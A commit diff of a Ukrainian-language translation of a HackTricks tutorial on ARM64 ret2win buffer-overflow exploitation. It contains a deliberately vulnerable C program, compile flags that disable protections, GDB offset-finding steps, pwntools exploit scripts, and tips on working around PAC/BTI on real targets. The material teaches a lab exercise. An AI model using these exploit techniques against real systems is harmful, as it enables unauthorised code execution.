Translated ['src/binary-exploitation/stack-overflow/ret2win/ret2win-arm6

This commit is contained in:
Translator 2025-08-27 02:33:33 +00:00
parent 9e2107adf6
commit 70e9e48e06

View File

@ -2,14 +2,14 @@
{{#include ../../../banners/hacktricks-training.md}} {{#include ../../../banners/hacktricks-training.md}}
Знайдіть вступ до arm64 в: Вступ до arm64 можна знайти в:
{{#ref}} {{#ref}}
../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md ../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md
{{#endref}} {{#endref}}
## Code ## Код
```c ```c
#include <stdio.h> #include <stdio.h>
#include <unistd.h> #include <unistd.h>
@ -28,17 +28,29 @@ vulnerable_function();
return 0; return 0;
} }
``` ```
Скомпілювати без pie та canary: Скомпілюйте без pie та canary:
```bash ```bash
clang -o ret2win ret2win.c -fno-stack-protector -Wno-format-security -no-pie clang -o ret2win ret2win.c -fno-stack-protector -Wno-format-security -no-pie -mbranch-protection=none
``` ```
## Знаходження зсуву - Додатковий прапорець `-mbranch-protection=none` вимикає AArch64 Branch Protection (PAC/BTI). Якщо ваш toolchain за замовчуванням вмикає PAC або BTI, це забезпечує відтворюваність лабораторії. Щоб перевірити, чи скомпільований бінар використовує PAC/BTI, ви можете:
- Шукати AArch64 GNU properties:
- `readelf --notes -W ret2win | grep -E 'AARCH64_FEATURE_1_(BTI|PAC)'`
- Переглянути прологі/епілогі на наявність `paciasp`/`autiasp` (PAC) або посадочних ділянок `bti c` (BTI):
- `objdump -d ret2win | head -n 40`
### Варіант патерну ### Короткі факти про AArch64 calling convention
Цей приклад був створений за допомогою [**GEF**](https://github.com/bata24/gef): - Регістр зв'язку — `x30` (також `lr`), і функції зазвичай зберігають `x29`/`x30` за допомогою `stp x29, x30, [sp, #-16]!` та відновлюють їх через `ldp x29, x30, [sp], #16; ret`.
- Це означає, що збережена адреса повернення знаходиться за `sp+8` відносно бази фрейму. Якщо `char buffer[64]` розташований нижче, звичайна відстань перезапису до збереженого `x30` становить 64 (buffer) + 8 (збережений x29) = 72 байти — саме це ми знайдемо нижче.
- Вказівник стеку має залишатися вирівняним по 16 байтах на межах функцій. Якщо ви пізніше будете будувати ROP chains для складніших сценаріїв, зберігайте вирівнювання SP, інакше можна отримати крах під час епілогів функцій.
Запустіть gdb з gef, створіть патерн і використайте його: ## Знаходження офсету
### Варіант pattern
Цей приклад створено з використанням [**GEF**](https://github.com/bata24/gef):
Запустіть gdb з gef, створіть pattern та використайте його:
```bash ```bash
gdb -q ./ret2win gdb -q ./ret2win
pattern create 200 pattern create 200
@ -46,17 +58,17 @@ run
``` ```
<figure><img src="../../../images/image (1205).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../images/image (1205).png" alt=""><figcaption></figcaption></figure>
arm64 спробує повернутися за адресою в регістрі x30 (який був скомпрометований), ми можемо використати це, щоб знайти зсув шаблону: arm64 спробує повернутися до адреси у регістрі x30 (який був скомпрометований), ми можемо використати це, щоб знайти pattern offset:
```bash ```bash
pattern search $x30 pattern search $x30
``` ```
<figure><img src="../../../images/image (1206).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../images/image (1206).png" alt=""><figcaption></figcaption></figure>
**Зсув становить 72 (9x48).** **Значення offset — 72 (9x48).**
### Опція зсуву стеку ### Stack offset option
Почніть з отримання адреси стеку, де зберігається регістр pc: Почніть з отримання адреси stack, де зберігається pc register:
```bash ```bash
gdb -q ./ret2win gdb -q ./ret2win
b *vulnerable_function + 0xc b *vulnerable_function + 0xc
@ -65,7 +77,7 @@ info frame
``` ```
<figure><img src="../../../images/image (1207).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../images/image (1207).png" alt=""><figcaption></figcaption></figure>
Тепер встановіть точку зупинки після `read()` і продовжте, поки `read()` не буде виконано, і встановіть шаблон, наприклад, 13371337: Тепер встановіть breakpoint після `read()`, продовжте виконання (continue) до виклику `read()` і встановіть шаблон, наприклад 13371337:
``` ```
b *vulnerable_function+28 b *vulnerable_function+28
c c
@ -80,9 +92,9 @@ c
<figure><img src="../../../images/image (1210).png" alt="" width="339"><figcaption></figcaption></figure> <figure><img src="../../../images/image (1210).png" alt="" width="339"><figcaption></figcaption></figure>
## No PIE ## Без PIE
### Regular ### Звичайний
Отримайте адресу функції **`win`**: Отримайте адресу функції **`win`**:
```bash ```bash
@ -90,13 +102,15 @@ objdump -d ret2win | grep win
ret2win: file format elf64-littleaarch64 ret2win: file format elf64-littleaarch64
00000000004006c4 <win>: 00000000004006c4 <win>:
``` ```
Експлуатація: Exploit:
```python ```python
from pwn import * from pwn import *
# Configuration # Configuration
binary_name = './ret2win' binary_name = './ret2win'
p = process(binary_name) p = process(binary_name)
# Optional but nice for AArch64
context.arch = 'aarch64'
# Prepare the payload # Prepare the payload
offset = 72 offset = 72
@ -114,7 +128,7 @@ p.close()
### Off-by-1 ### Off-by-1
Насправді це буде більше схоже на off-by-2 у збереженому PC в стеку. Замість того, щоб перезаписувати всю адресу повернення, ми перезапишемо **тільки останні 2 байти** значенням `0x06c4`. Насправді це буде скоріше off-by-2 у збереженому PC у stack. Замість того, щоб перезаписати всю return address, ми перезапишемо **лише останні 2 байти** значення `0x06c4`.
```python ```python
from pwn import * from pwn import *
@ -136,7 +150,7 @@ p.close()
``` ```
<figure><img src="../../../images/image (1212).png" alt="" width="375"><figcaption></figcaption></figure> <figure><img src="../../../images/image (1212).png" alt="" width="375"><figcaption></figcaption></figure>
Ви можете знайти ще один приклад off-by-one в ARM64 за посиланням [https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/), який є справжнім off-by-**one** у вигаданій вразливості. Ви можете знайти ще один приклад off-by-one для ARM64 за адресою [https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/), який є реальним off-by-**one** у вигаданій вразливості.
## З PIE ## З PIE
@ -145,7 +159,7 @@ p.close()
### Off-by-2 ### Off-by-2
Без leak ми не знаємо точну адресу виграшної функції, але можемо знати зсув функції від бінарного файлу, і знаючи, що адреса повернення, яку ми перезаписуємо, вже вказує на близьку адресу, можливо витягти зсув до виграшної функції (**0x7d4**) у цьому випадку і просто використати цей зсув: Без leak ми не знаємо точної адреси win function, але можемо знати offset функції від binary і, знаючи, що return address, який ми перезаписуємо, вже вказує на близьку адресу, у цьому випадку можливо leak офсет до win function (**0x7d4**) і просто використати цей offset:
<figure><img src="../../../images/image (1213).png" alt="" width="563"><figcaption></figcaption></figure> <figure><img src="../../../images/image (1213).png" alt="" width="563"><figcaption></figcaption></figure>
```python ```python
@ -167,4 +181,45 @@ p.send(payload)
print(p.recvline()) print(p.recvline())
p.close() p.close()
``` ```
### Примітки щодо сучасного зміцнення AArch64 (PAC/BTI) та ret2win
- Якщо бінарник скомпільовано з AArch64 Branch Protection, ви можете побачити `paciasp`/`autiasp` або `bti c`, які вставляються в прологах/епілогах функцій. У такому випадку:
- Повернення за адресою, що не є дійсним BTI landing pad, може викликати `SIGILL`. Краще орієнтуватися на точний початок функції, що містить `bti c`.
- Якщо PAC увімкнено для повернень, наївне перезаписування адреси повернення може не спрацювати, бо епілог автентифікує `x30`. Для навчальних сценаріїв перебудуйте з `-mbranch-protection=none` (вказано вище). При атаках на реальні цілі віддавайте перевагу nonreturn hijacks (e.g., function pointer overwrites) або створюйте ROP, який ніколи не виконує пару `autiasp`/`ret`, що автентифікує ваш підроблений LR.
- Щоб швидко перевірити можливості:
- `readelf --notes -W ./ret2win` і шукайте примітки `AARCH64_FEATURE_1_BTI` / `AARCH64_FEATURE_1_PAC`.
- `objdump -d ./ret2win | head -n 40` і дивіться на `bti c`, `paciasp`, `autiasp`.
### Running on nonARM64 hosts (qemuuser quick tip)
If you are on x86_64 but want to practice AArch64:
```bash
# Install qemu-user and AArch64 libs (Debian/Ubuntu)
sudo apt-get install qemu-user qemu-user-static libc6-arm64-cross
# Run the binary with the AArch64 loader environment
qemu-aarch64 -L /usr/aarch64-linux-gnu ./ret2win
# Debug with GDB (qemu-user gdbstub)
qemu-aarch64 -g 1234 -L /usr/aarch64-linux-gnu ./ret2win &
# In another terminal
gdb-multiarch ./ret2win -ex 'target remote :1234'
```
### Пов'язані сторінки HackTricks
-
{{#ref}}
../../rop-return-oriented-programing/rop-syscall-execv/ret2syscall-arm64.md
{{#endref}}
-
{{#ref}}
../../rop-return-oriented-programing/ret2lib/ret2lib-+-printf-leak-arm64.md
{{#endref}}
## Джерела
- Увімкнення PAC і BTI на AArch64 для Linux (Arm Community, Nov 2024). https://community.arm.com/arm-community-blogs/b/operating-systems-blog/posts/enabling-pac-and-bti-on-aarch64-for-linux
- Стандарт виклику процедур для 64-розрядної архітектури Arm (AAPCS64). https://github.com/ARM-software/abi-aa/blob/main/aapcs64/aapcs64.rst
{{#include ../../../banners/hacktricks-training.md}} {{#include ../../../banners/hacktricks-training.md}}